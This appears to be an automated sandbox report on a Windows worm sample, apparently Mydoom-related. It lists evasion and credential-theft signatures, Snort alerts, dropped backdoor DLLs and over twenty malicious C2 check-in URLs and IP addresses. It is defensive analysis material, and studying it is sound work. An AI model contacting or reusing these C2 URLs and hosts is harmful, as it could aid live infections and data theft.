Edit tour

Windows Analysis Report
ydbWyoxHsd.exe

Overview

General Information

Sample Name:	ydbWyoxHsd.exe
Analysis ID:	740383
MD5:	b4e4d26c168cc3e38b3e7177fbedb52d
SHA1:	4c96953a4d02c14ac57bcdf726c41f60e9a4d4ad
SHA256:	d8d057d22ae990a5ba7b35e1320d87f95e952860db0cf013911420e43db6d127
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Found evasive API chain (may stop execution after checking mutex)

Contain functionality to detect virtual machines

Found API chain indicative of debugger detection

Machine Learning detection for sample

Send many emails (e-Mail Spam)

PE file has nameless sections

Machine Learning detection for dropped file

Tries to resolve many domain names, but no domain seems valid

Drops executables to the windows directory (C:\Windows) and starts them

Contains functionality to detect sleep reduction / modifications

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

PE file contains sections with non-standard names

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

Uses the system / local time for branch decision (may execute only at specific dates)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Connects to many different domains

Entry point lies outside standard sections

Contains long sleeps (>= 3 min)

Enables debug privileges

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains capabilities to detect virtual machines

Uses SMTP (mail sending)

Found evasive API chain (may stop execution after accessing registry keys)

Uses Microsoft's Enhanced Cryptographic Provider

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

ydbWyoxHsd.exe (PID: 5408 cmdline: C:\Users\user\Desktop\ydbWyoxHsd.exe MD5: B4E4D26C168CC3E38B3E7177FBEDB52D)

ctfmen.exe (PID: 5248 cmdline: ctfmen.exe MD5: A05ECF5306E42A6E4C278711BA738C04)

smnss.exe (PID: 5252 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 1408 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 2260 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 1092 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 1364 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 4788 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 4676 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 4660 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 4248 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 3288 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 6000 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 4012 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 4492 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 4512 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5512 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5804 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 6060 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 6112 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5740 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 4668 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 4544 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5236 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5408 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5296 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 2356 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5768 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 1248 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 2148 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 3424 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5996 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 1412 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5064 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 752 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5180 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5200 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 5668 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 4756 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

smnss.exe (PID: 2056 cmdline: C:\Windows\system32\smnss.exe MD5: 762B8CDF27C571BCA2BD64BE8B92E9EB)

cleanup

Snort Signatures

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 107.6.74.76

Timestamp:	192.168.2.5107.6.74.7649691802807186 11/07/22-22:24:11.315763
SID:	2807186
Source Port:	49691
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 107.6.74.76

Timestamp:	192.168.2.5107.6.74.7649691802807187 11/07/22-22:24:11.315763
SID:	2807187
Source Port:	49691
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349829802807187 11/07/22-22:24:51.062591
SID:	2807187
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349829802807186 11/07/22-22:24:51.062591
SID:	2807186
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.18.194

Timestamp:	192.168.2.581.17.18.19449953802807186 11/07/22-22:25:49.155063
SID:	2807186
Source Port:	49953
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.29.146

Timestamp:	192.168.2.581.17.29.14649825802807187 11/07/22-22:24:50.299946
SID:	2807187
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.18.194

Timestamp:	192.168.2.581.17.18.19449953802807187 11/07/22-22:25:49.155063
SID:	2807187
Source Port:	49953
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.29.146

Timestamp:	192.168.2.581.17.29.14649825802807186 11/07/22-22:24:50.299946
SID:	2807186
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 173.231.189.15 - Destination IP: 192.168.2.5

Timestamp:	173.231.189.15192.168.2.580496922037771 11/07/22-22:24:12.121311
SID:	2037771
Source Port:	80
Destination Port:	49692
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 173.231.184.124

Timestamp:	192.168.2.5173.231.184.12449695802807187 11/07/22-22:24:13.706261
SID:	2807187
Source Port:	49695
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 173.231.184.124 - Destination IP: 192.168.2.5

Timestamp:	173.231.184.124192.168.2.580496952037771 11/07/22-22:24:13.828754
SID:	2037771
Source Port:	80
Destination Port:	49695
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349940802807187 11/07/22-22:25:46.017949
SID:	2807187
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 173.231.184.124

Timestamp:	192.168.2.5173.231.184.12449695802807186 11/07/22-22:24:13.706261
SID:	2807186
Source Port:	49695
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349729802807187 11/07/22-22:24:24.010414
SID:	2807187
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349940802807186 11/07/22-22:25:46.017949
SID:	2807186
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.29.150

Timestamp:	192.168.2.581.17.29.15049794802807186 11/07/22-22:24:42.927958
SID:	2807186
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349729802807186 11/07/22-22:24:24.010414
SID:	2807186
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349997802807186 11/07/22-22:26:05.403504
SID:	2807186
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349997802807187 11/07/22-22:26:05.403504
SID:	2807187
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 63.251.126.10

Timestamp:	192.168.2.563.251.126.1049770802807186 11/07/22-22:24:35.068063
SID:	2807186
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 63.251.126.10

Timestamp:	192.168.2.563.251.126.1049770802807187 11/07/22-22:24:35.068063
SID:	2807187
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 63.141.242.43

Timestamp:	192.168.2.563.141.242.4349810802807187 11/07/22-22:24:48.781627
SID:	2807187
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349950802807186 11/07/22-22:25:48.870000
SID:	2807186
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 63.141.242.43

Timestamp:	192.168.2.563.141.242.4349810802807186 11/07/22-22:24:48.781627
SID:	2807186
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.18.196

Timestamp:	192.168.2.581.17.18.19649801802807187 11/07/22-22:24:44.912474
SID:	2807187
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.18.196

Timestamp:	192.168.2.581.17.18.19649801802807186 11/07/22-22:24:44.912474
SID:	2807186
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349950802807187 11/07/22-22:25:48.870000
SID:	2807187
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22249880802807187 11/07/22-22:25:14.099545
SID:	2807187
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.29.147

Timestamp:	192.168.2.581.17.29.14749816802807187 11/07/22-22:24:49.379903
SID:	2807187
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22249880802807186 11/07/22-22:25:14.099545
SID:	2807186
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349973802807187 11/07/22-22:25:53.134213
SID:	2807187
Source Port:	49973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.29.147

Timestamp:	192.168.2.581.17.29.14749816802807186 11/07/22-22:24:49.379903
SID:	2807186
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349973802807186 11/07/22-22:25:53.134213
SID:	2807186
Source Port:	49973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349938802807187 11/07/22-22:25:45.367923
SID:	2807187
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349748802807187 11/07/22-22:24:29.470557
SID:	2807187
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.29.150

Timestamp:	192.168.2.581.17.29.15049794802807187 11/07/22-22:24:42.927958
SID:	2807187
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349748802807186 11/07/22-22:24:29.470557
SID:	2807186
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 63.141.242.44

Timestamp:	192.168.2.563.141.242.4449923802807187 11/07/22-22:25:42.714480
SID:	2807187
Source Port:	49923
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 63.141.242.44

Timestamp:	192.168.2.563.141.242.4449923802807186 11/07/22-22:25:42.714480
SID:	2807186
Source Port:	49923
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349938802807186 11/07/22-22:25:45.367923
SID:	2807186
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 173.231.189.15

Timestamp:	192.168.2.5173.231.189.1549692802807186 11/07/22-22:24:11.998907
SID:	2807186
Source Port:	49692
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 173.231.189.15

Timestamp:	192.168.2.5173.231.189.1549692802807187 11/07/22-22:24:11.998907
SID:	2807187
Source Port:	49692
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 63.251.126.10 - Destination IP: 192.168.2.5

Timestamp:	63.251.126.10192.168.2.580497702037771 11/07/22-22:24:35.481298
SID:	2037771
Source Port:	80
Destination Port:	49770
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 72.251.233.245 - Destination IP: 192.168.2.5

Timestamp:	72.251.233.245192.168.2.580496902037771 11/07/22-22:24:10.642810
SID:	2037771
Source Port:	80
Destination Port:	49690
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 72.251.233.245

Timestamp:	192.168.2.572.251.233.24549690802807187 11/07/22-22:24:10.381621
SID:	2807187
Source Port:	49690
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 72.251.233.245

Timestamp:	192.168.2.572.251.233.24549690802807186 11/07/22-22:24:10.381621
SID:	2807186
Source Port:	49690
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20350022802807186 11/07/22-22:26:09.103352
SID:	2807186
Source Port:	50022
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 107.6.74.76 - Destination IP: 192.168.2.5

Timestamp:	107.6.74.76192.168.2.580496912037771 11/07/22-22:24:11.576329
SID:	2037771
Source Port:	80
Destination Port:	49691
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 199.21.76.81

Timestamp:	192.168.2.5199.21.76.8149693802807187 11/07/22-22:24:12.584253
SID:	2807187
Source Port:	49693
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20350022802807187 11/07/22-22:26:09.103352
SID:	2807187
Source Port:	50022
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 81.17.18.198

Timestamp:	192.168.2.581.17.18.19849949802807186 11/07/22-22:25:47.786122
SID:	2807186
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 81.17.18.198

Timestamp:	192.168.2.581.17.18.19849949802807187 11/07/22-22:25:47.786122
SID:	2807187
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349746802807186 11/07/22-22:24:28.467022
SID:	2807186
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349746802807187 11/07/22-22:24:28.467022
SID:	2807187
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 199.21.76.81 - Destination IP: 192.168.2.5

Timestamp:	199.21.76.81192.168.2.580496932037771 11/07/22-22:24:12.755721
SID:	2037771
Source Port:	80
Destination Port:	49693
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22249847802807186 11/07/22-22:24:52.200449
SID:	2807186
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 199.59.243.222

Timestamp:	192.168.2.5199.59.243.22249847802807187 11/07/22-22:24:52.200449
SID:	2807187
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 199.21.76.81

Timestamp:	192.168.2.5199.21.76.8149693802807186 11/07/22-22:24:12.584253
SID:	2807186
Source Port:	49693
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN User-Agent (explwer) - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349740802807187 11/07/22-22:24:25.834895
SID:	2807187
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Worm.Mydoom Checkin - Source IP: 192.168.2.5 - Destination IP: 64.70.19.203

Timestamp:	192.168.2.564.70.19.20349740802807186 11/07/22-22:24:25.834895
SID:	2807186
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: ydbWyoxHsd.exe	ReversingLabs: Detection: 100%
Source: ydbWyoxHsd.exe	Virustotal: Detection: 77%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: ydbWyoxHsd.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://empewsqsqa.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://pqarseshhn.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://eqprsrnprs.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://ennmqsmqna.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://wpqqhhspps.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://emasqpamqs.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://aharwhphnh.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://rmhhhmswqh.org/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://meahewphwa.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://enahmnhqah.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://hmpasnpmas.net/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://rsrsemnren.org/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://aewrhprres.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://ehrawpsrms.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://eqnhphnqms.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://erphseshhh.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://whenaeqsar.in/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://asnrrsamsa.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://erwrahwnhs.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://emhmmwaasa.ws/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware
Source: http://aanparshnh.com/imgs/krewa/nqxa.php?id=4462klfz&s5=3159&lip=192.168.2.5&win=Unk	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\ctfmen.exe	Avira: detection malicious, Label: TR/Crypt.ULPM.Gen
Source: C:\Windows\SysWOW64\grcopy.dll	Avira: detection malicious, Label: TR/Proxy.Gen
Source: C:\Windows\SysWOW64\smnss.exe	Avira: detection malicious, Label: TR/Proxy.Gen
Source: C:\Windows\SysWOW64\shervans.dll	Avira: detection malicious, Label: BDS/Backdoor.Gen
Source: C:\Windows\SysWOW64\satornas.dll	Avira: detection malicious, Label: HTML/ExpKit.Gen2

Machine Learning detection for sample

Source: ydbWyoxHsd.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\ctfmen.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\zipfiaq.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\grcopy.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\smnss.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\zipfi.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\shervans.dll	Joe Sandbox ML: detected

